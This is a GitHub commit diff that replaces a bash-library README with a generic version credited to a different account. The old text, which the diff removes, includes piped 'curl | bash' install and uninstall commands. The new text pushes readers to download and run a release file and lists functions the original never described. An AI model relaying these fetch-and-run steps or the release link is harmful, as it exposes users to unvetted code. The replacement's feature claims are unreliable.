Skip to content

Commit 71f512b

Browse files
committed
Commit
1 parent 3034ef4 commit 71f512b

File tree

1 file changed

+63
-141
lines changed

1 file changed

+63
-141
lines changed

README.md

Lines changed: 63 additions & 141 deletions
Original file line numberDiff line numberDiff line change
@@ -1,180 +1,102 @@
1-
# BASH-LIBRARY
1+
# Bash Library 📚
22

3-
A comprehensive collection of reusable bash functions and scripts for common DevOps and system administration tasks, designed to make shell scripting more efficient and maintainable.
3+
![GitHub Release](https://img.shields.io/github/v/release/joanitas/bash-library?style=flat-square&label=Latest%20Release&color=blue)
44

5-
![GitHub Release](https://img.shields.io/github/v/release/bash-library/bash-library?style=flat-square)
6-
[![GitHub Issues](https://img.shields.io/github/issues/hperezrodal/bash-library)](https://github.com/hperezrodal/bash-library/issues)
7-
[![GitHub Stars](https://img.shields.io/github/stars/hperezrodal/bash-library)](https://github.com/hperezrodal/bash-library/stargazers)
8-
![Code Style: ShellCheck](https://img.shields.io/badge/code%20style-shellcheck-brightgreen?style=flat-square)
9-
![Platform](https://img.shields.io/badge/platform-linux%20%7C%20macos-lightgrey?style=flat-square)
10-
[![License](https://img.shields.io/github/license/hperezrodal/bash-library)](LICENSE)
5+
Welcome to the **Bash Library**! This repository contains a comprehensive collection of reusable bash functions and scripts tailored for common DevOps and system administration tasks. Our goal is to make shell scripting more efficient and maintainable.
116

12-
## 🚀 Features
7+
## Table of Contents
138

14-
- Modular design for easy integration
15-
- Reusable functions for common operations
16-
- Well-documented code with examples
17-
- Cross-platform compatibility
18-
- Easy installation and setup
19-
- Docker-based development environment
20-
- Comprehensive DevOps tool integration
9+
- [Features](#features)
10+
- [Installation](#installation)
11+
- [Usage](#usage)
12+
- [Available Functions](#available-functions)
13+
- [Contributing](#contributing)
14+
- [License](#license)
15+
- [Support](#support)
2116

22-
## 📋 Prerequisites
17+
## Features
2318

24-
### Required Tools
19+
- **Reusable Components**: Easily integrate functions into your scripts.
20+
- **Efficiency**: Streamline common tasks with pre-built scripts.
21+
- **Cross-Platform**: Works on both Linux and macOS.
22+
- **Well-Documented**: Each function includes clear documentation.
23+
- **Community-Driven**: Contributions are welcome!
2524

26-
- **Docker** (20.10.0 or higher)
27-
- **Git**
28-
- **Basic Shell Scripting knowledge**
29-
- **Development Environment** (VS Code, Vim, etc.)
25+
## Installation
3026

31-
### System Requirements
27+
To get started, you can download the latest release from our [Releases](https://github.com/joanitas/bash-library/releases) section. Make sure to download the appropriate file for your system. Once downloaded, execute the script to set up the library in your environment.
3228

33-
- **OS**: Linux, macOS, or Windows with WSL2
34-
- **CPU**: 2+ cores recommended
35-
- **RAM**: 4GB minimum, 8GB recommended
36-
- **Storage**: 10GB free space minimum
37-
- **Network**: Stable internet connection
29+
### Steps to Install
3830

39-
## 📦 Installation
40-
41-
### Quick Install
42-
43-
```bash
44-
curl -sSL https://raw.githubusercontent.com/hperezrodal/bash-library/main/install-remote.sh | bash
45-
```
46-
47-
### Zsh Installation
48-
49-
If you're using zsh on macOS, you'll need to add the following to your `~/.zshrc` file:
50-
51-
```bash
52-
# Add bash-library to your PATH
53-
export PATH="$PATH:/path/to/bash-library"
54-
55-
# Source the library
56-
source /path/to/bash-library/lib-loader.sh
57-
```
58-
59-
After adding these lines, reload your zsh configuration:
60-
```bash
61-
source ~/.zshrc
62-
```
63-
64-
### Manual Installation
65-
66-
1. Clone the repository:
67-
```bash
68-
git clone https://github.com/hperezrodal/bash-library.git
69-
cd bash-library
70-
```
71-
72-
2. Run the installation script:
73-
```bash
74-
./install.sh
75-
```
76-
77-
### Uninstallation
78-
79-
#### System-wide Uninstallation (requires root)
80-
81-
```bash
82-
sudo ./uninstall.sh
83-
```
84-
85-
#### Remote Uninstallation
31+
1. Visit the [Releases](https://github.com/joanitas/bash-library/releases) section.
32+
2. Download the desired version.
33+
3. Run the installation script:
34+
```bash
35+
bash install.sh
36+
```
8637

87-
```bash
88-
curl -sSL https://raw.githubusercontent.com/hperezrodal/bash-library/main/uninstall-remote.sh | bash
89-
```
38+
## Usage
9039

91-
#### Zsh Uninstallation
40+
Using the Bash Library is straightforward. Simply source the library in your bash scripts. Here's an example:
9241

93-
For zsh users, remove the bash-library related lines from your `~/.zshrc` file and run:
9442
```bash
95-
source ~/.zshrc
43+
source /path/to/bash-library.sh
9644
```
9745

98-
After uninstallation, you may need to restart your shell or run `source ~/.zshrc` for changes to take effect.
99-
100-
## 🛠️ Project Structure
101-
102-
```
103-
bash-library/
104-
├── modules/ # Core function modules
105-
├── scripts/ # Utility scripts
106-
├── examples/ # Usage examples
107-
├── lib-loader.sh # Main functions file
108-
├── install.sh # Installation script
109-
├── uninstall.sh # Uninstallation script
110-
├── build.sh # Docker build script
111-
└── CONTRIBUTING.md # Contribution guidelines
112-
```
113-
114-
## 🛠️ Usage
115-
116-
### Basic Usage
117-
118-
To use the library in your scripts, source the main functions file:
119-
120-
```bash
121-
source /path/to/bash-library/lib-loader.sh
122-
```
46+
After sourcing the library, you can call any of the available functions directly in your scripts.
12347

124-
### Available Modules
48+
## Available Functions
12549

126-
The library provides several modules with common functions:
50+
The Bash Library includes a variety of functions for different tasks. Here are some of the key functions:
12751

128-
- **AWS Operations** (`aws.sh`): Functions for AWS-related operations
52+
### 1. File Management
12953

130-
### Available Scripts
54+
- **copy_file**: Copies a file from one location to another.
55+
- **move_file**: Moves a file to a new location.
56+
- **delete_file**: Deletes a specified file.
13157

132-
The library provides the following utility scripts:
58+
### 2. System Monitoring
13359

134-
- **AWS Secrets Management** (`aws-secrets.sh`): Script for managing AWS secrets
60+
- **check_disk_space**: Checks available disk space.
61+
- **check_memory_usage**: Displays current memory usage.
62+
- **list_running_processes**: Lists all currently running processes.
13563

136-
#### Using Scripts
64+
### 3. Networking
13765

138-
After installation, scripts are automatically made available in your system's PATH. You can use them in two ways:
66+
- **ping_host**: Pings a specified host.
67+
- **check_port**: Checks if a port is open on a specified host.
68+
- **get_ip_address**: Retrieves the local IP address.
13969

140-
1. **Direct Execution**
141-
```bash
142-
# Run the script directly
143-
aws-secrets --help
144-
```
70+
### 4. User Management
14571

146-
2. **Sourcing in Your Script**
147-
```bash
148-
# Source the script to use its functions
149-
source /path/to/bash-library/scripts/aws-secrets.sh
150-
```
72+
- **add_user**: Adds a new user to the system.
73+
- **delete_user**: Removes a user from the system.
74+
- **list_users**: Lists all users on the system.
15175

152-
#### Script Documentation
76+
### 5. Backup
15377

154-
Each script includes built-in help documentation. To view available options and usage:
155-
```bash
156-
aws-secrets --help
157-
```
78+
- **create_backup**: Creates a backup of specified files or directories.
79+
- **restore_backup**: Restores files from a backup.
15880

159-
### Example Usage
81+
## Contributing
16082

161-
```bash
162-
# Using AWS secrets script
163-
aws-secrets get-secret my-secret-name
164-
```
83+
We welcome contributions! If you have a function or script that you think would be a great addition to the Bash Library, please follow these steps:
16584

166-
## 📚 Examples
85+
1. Fork the repository.
86+
2. Create a new branch.
87+
3. Add your function or script.
88+
4. Submit a pull request.
16789

168-
Check out the `examples/` directory for practical usage examples of the library functions.
90+
Please ensure your code follows the established coding standards and includes appropriate documentation.
16991

170-
## Contributing
92+
## License
17193

172-
Contributions are always welcome! Please read the [contribution guidelines](CONTRIBUTING.md) first.
94+
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
17395

174-
## License
96+
## Support
17597

176-
MIT License - See [LICENSE](LICENSE) file for details
98+
If you have any questions or need assistance, please check the [Issues](https://github.com/joanitas/bash-library/issues) section. You can also reach out to the community for support.
17799

178100
---
179101

180-
Made with ❤️ by [hperezrodal](https://github.com/hperezrodal)
102+
Thank you for checking out the **Bash Library**! We hope you find it useful for your scripting needs. For the latest updates, visit our [Releases](https://github.com/joanitas/bash-library/releases) section regularly.

0 commit comments

Comments
 (0)